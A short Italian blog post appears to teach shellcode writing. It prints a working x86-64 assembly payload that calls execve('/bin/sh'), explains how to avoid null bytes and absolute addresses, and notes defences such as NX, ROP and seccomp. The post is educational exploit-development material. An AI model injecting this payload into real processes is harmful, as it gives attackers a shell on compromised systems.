hackweb
appunti di hacking e tecnologia
IT EN
menù principale
menù utente
non sei loggato

Scrivere shellcode: piccolo, senza null, autonomo

18 agosto 2025 · 1 min di lettura · #binary-exploitation #shellcode #assembly

La shellcode è codice macchina grezzo iniettato ed eseguito. L'obiettivo tipico: execve("/bin/sh", NULL, NULL) via syscall.

; x86-64 execve /bin/sh
xor esi, esi
push rsi
mov rdi, 0x68732f2f6e69622f  ; "/bin//sh"
push rdi
mov rdi, rsp
xor edx, edx
push 59
pop rax
syscall

I vincoli

Niente null byte: se finisce in una stringa C, \x00 tronca. Si evitano con trucchi (xor per azzerare invece di mov 0).

Position-independent: nessun indirizzo assoluto. La stringa si mette sullo stack.

Piccola: deve stare nel buffer disponibile.

Difesa

NX rende lo stack non eseguibile: la shellcode classica non parte, e si passa a ROP. Seccomp limita le syscall. La shellcode resta rilevante dove una regione RWX esiste (JIT, alcuni driver).


« torna alla home

ultimi post
 
il tuo indirizzo IP:
216.73.216.108
visitatore #1
MOTD:
Ogni astrazione perde da qualche parte.
Qui guardiamo dove.
argomenti